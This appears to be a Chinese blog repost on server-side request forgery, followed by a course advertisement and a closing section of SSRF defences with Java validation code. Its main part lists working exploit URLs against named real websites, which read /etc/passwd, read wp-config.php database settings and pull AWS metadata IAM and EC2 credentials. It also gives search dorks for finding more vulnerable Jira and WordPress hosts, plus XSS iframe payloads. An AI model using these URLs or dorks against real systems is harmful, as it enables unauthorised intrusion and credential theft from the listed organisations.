SSRF-服务器端请求伪造(类型和利用方法)第3部分

本文深入探讨了服务器侧请求伪造(SSRF)漏洞,列举了多个实际案例,包括Jira、JSmol2WP和Qards Wordpress插件等,展示了如何通过SSRF读取本地文件、探测内部网络和获取敏感信息。

4.实例

https://robert-brook.com/parliament/index.php?page=http://www.parliament.uk/business/news/2019/parliamentary-news-2019/this-week-in-the-commons-friday-25-january-2019/

在这里,页面参数获取外部资源并显示其内容。

SSRF到XSS

https://robert-brook.com/parliament/index.php?page=http://brutelogic.com.br/poc.svg

读取本地文件

https://robert-brook.com/parliament/index.php?page=file:///etc/passwd

当您尝试其他URL(如dict)时,会出错

警告:file_get_contents():无法找到包装器“dict” - 你是否忘记在配置PHP时启用它。

这表示未启用DICT URL结构

FFMPEG中的SSRF

读取本地文件
Demo
https://youtu.be/OQBZ__L23KU

易受攻击的站点-

https://www.onlinevideoconverter.com/
https://www.files-conversion.com/

Repo链接:https://github.com/neex/ffmpeg-avi-m3u-xbin

SSRF在广泛使用的插件和CMS中的应用

Jira的SSRF
Jira版本号低于7.3.5正遭受SSRF的困扰

https://<JIRA_BASEPATH>/plugins/servlet/oauth/users/icon-uri?consumerUri=…

在Shodan有4万多个JIRA站点。你可以利用下面的dork

X-AUSERNAME: anonymous
X-AUSERNAME: anonymous org:"Amazon.com"  -- For aws
X-AUSERNAME: anonymous org:"Microsoft Azure" -- For Azure
X-AUSERNAME: anonymous org:"google"  -- For Google

现在让我们看看一些易受攻击的站点

https://jira.majesco.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.intellectdesign.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://team.asg.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.magnitude.com/https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://support.eu.evertz.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.dhis2.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.vectormediagroup.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/ -- Aws Details 
https://mattel.cprime.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://www.mfjira.io/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://adoptivefam.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.iea-dpc.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.fellowshipchurch.com:8443/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.soleus.nu/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://jira.succraft.com:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://support.make-my-day.co.nz/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://52.202.112.34/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/SystemsManagerRole -- Aws Details
https://jira.canallabs.fr/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/profile -- Aws Details
http://54.247.191.19/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data -- Aws Details
http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data -- Aws Details
http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance -- Aws Details
https://devops.deviate.net.nz/projects/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance -- Aws Details
https://52.73.101.120/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/BitbucketRole -- Aws Details

这是我发现的一些易受攻击的网站

JSmol2WP Wordpress插件中的SSRF

低于1.07的JSmol2WP版本具有未经身份验证的服务器端请求伪造

http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

Dork -

inurl:wp-content/plugins/jsmol2wp

易受攻击的网站

https://www.vivelab12.fr/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php -- DB details
http://thasso.com/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=https://google.com -- Fetch google.com
http://www.ch.ic.ac.uk/rzepa/blog/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php -- DB details

Qards Wordpress插件中的SSRF

Qards容易受到服务器端请求伪造(SSRF)的攻击

http://target/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com

Dork-

inurl:wp-content/plugins/qards

易受攻击的网站 -

http://www.horlovia-chemicals.ch/wordpress/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://vfsgroup.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://mrgoatygelato.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://arturolopezvalerio.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://hooverwellness.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com

HTML到PDF转换的SSRF

易受攻击的网站 -

https://pdfcrowd.com/#convert_by_input 
https://convertio.co/html-pdf/

Ssrf.html的内容

"><iframe src="file:///etc/passwd"></iframe>
"><svg/onload=document.write(document.location)> -- to know the path and some times to 

以上发布的所有这些网站只是为了让您练习,作者不对任何滥用信息负责。

 

 

转自:https://mp.weixin.qq.com/s/fNQ-fsGJUlK2nWVBKI-boA

程声明:该课程是教学使用,视频内涉及漏洞利用方法,请勿在互联网环境中使用;维护互联网安全,人人有责。实验所需环境:vmware;kali虚拟机一台;windows server一台;有docker环境的Linux虚拟机环境下载地址在购买课程后单独发送 【课程配套资源】1、Python脚本(Margin老师自研,不光能学漏洞,还能学Python,实在是划算)2、与Margin老师实时互动3、免费的CISP-PTE考试技巧指导(Margin老师与CISP-PTE的负责人很熟的,非常多的一手消息^o^)4、Margin老师的内部直播可以优先参加5、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战   【课程主要解决问题】1、CSRF、SSRF搞不清楚?2、SSRF原理是什么?危害大小?如何利用SSRF获取主机权限?如果使用Python提高挖洞效率?3、Gopher协议、Dict协议?完全没听过啊,没关系,看完课程后你门清。4、SSRF渗透Redis数据库,Redis客户端服务器端怎么通信?通信报文是怎么样的?看这里就行。5、SSRF渗透Struts2总是失败?不知道如何编码?不知道如何使用Gopher协议?来这里。6、SSRF表面简单,实则有无数坑,通过视频提高学习效率吧。 【CISP-PTE介绍】1、CISP-PTE是进入网络安全行业的TOP1认证,能帮你梳理完整的网络安全知识体系2、有PTE证书在网络安全公司是免技术笔试的,怎么样?是不是很棒。3、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战本课程属于CISP-PTE渗透测试工程师认证体系的课程,但内容更加丰富。CISP-PTE是国内第一个以动手实操为主的网络安全认证,该注册考试是为了锻炼考生世界解决网络安全问题的能力,持续增强我国的网络安全水平防御能力,促进国内网络防御能力的不断提高。考试内容从多个层面进行,考点网络安全动态相结合,真实的反应出真实的网络环境中发现的各种问题。如果要考取CISP-PTE证书需要掌握以下内容:1、Web安全基础,注入漏洞、上传漏洞、跨站脚本漏洞、访问控制漏洞、会话管理漏洞哦等。2、中间件的安全知识,如:Apache,IIS,Tomcat,以及 JAVA 开发的中间件 Weblogic,Jboss, Websphere 等,且要了解中间件加固方法,在攻与防的能力上不断提升。3、操作系统安全,包含WindowsLinux操作系统,从账户管理、文件系统权限、日志审计等方面讲解,了解常见的漏洞方式加固方法。4、数据库安全,包含MSSQL、MYSQL、ORACLE、REDIS数据,了解常用的数据库漏洞题全方法,保证数据库的安全性。 【关于Margin老师】· Margin/教育系统网络安全保障人员认证首批讲师/高级讲师· 擅长CTF/Web安全/渗透测试 /系统安全· 3年研发/擅长Java/Python/某银行现金循环机业务系统开发者· 曾参与开发网络安全认证教材· 知乎专栏/CISP-PTE渗透测试工程师学习· 4年线下网络安全讲师/2000+线下学员/100000+线上学员
### SSRF漏洞修复方法 为了有效防止服务器端请求伪造SSRF)漏洞,可以采取多种安全措施来限制验证应用程序发起的请求。 1. **禁用不必要的协议**:可以通过配置禁止使用某些危险协议,例如`file://`、`gopher://`等。在Java中,可以使用`URL`类并结合白名单机制对目标地址进行校验[^3]。 ```java public boolean validateUrl(String urlString) { try { URL url = new URL(urlString); String protocol = url.getProtocol(); if (!protocol.equalsIgnoreCase("http") && !protocol.equalsIgnoreCase("https")) { return false; } } catch (MalformedURLException e) { return false; } return true; } ``` 2. **IP地址黑名单与白名单机制**:通过对目标地址进行IP过滤,阻止向内网IP或敏感地址发起请求。例如,可以使用正则表达式匹配私有IP范围,并拒绝访问这些地址[^4]。 ```java public boolean isPrivateIp(String host) { Pattern privateIpPattern = Pattern.compile("^(127\\.0\\.0\\.1|10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}|172\\.(1[6-9]|2\\d|3[01])\\.\\d{1,3}\\.\\d{1,3}|192\\.168\\.\\d{1,3}\\.\\d{1,3})$"); Matcher matcher = privateIpPattern.matcher(host); return matcher.find(); } ``` 3. **限制DNS解析域名访问**:通过设置DNS解析策略,确保不会解析到本地回环地址或其他内部网络地址。此外,也可以限制只能访问特定的域名,而非任意地址[^1]。 4. **使用安全库框架**:利用现有的安全库,如Apache HttpClient、OkHttp等,这些库通常具备一定的安全性增强功能,能够帮助开发者更安全地处理HTTP请求。 5. **输入验证输出编码**:对于用户提供的URL参数,必须进行严格的输入验证,确保其格式正确且符合预期。同时,在返回响应时也要对输出内容进行适当的编码,以防止潜在的信息泄露问题[^2]。 6. **避免直接使用用户输入作为请求目标**:尽量减少直接将用户输入用于发起外部请求的情况,而是提供一个受控的接口或者预定义选项供用户选择,从而降低风险。 7. **日志记录与监控**:记录所有由服务端发起的请求,并定期检查日志文件,以便及时发现异常行为。此外,还可以设置警报机制,当检测到可疑活动时立即通知相关人员[^4]。 8. **更新依赖库框架**:保持项目中使用的第三方库及框架处于最新版本状态,因为它们可能包含针对已知漏洞的安全修复补丁。 通过以上方法,可以在很大程度上缓解甚至消除SSRF带来的威胁,保护系统的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值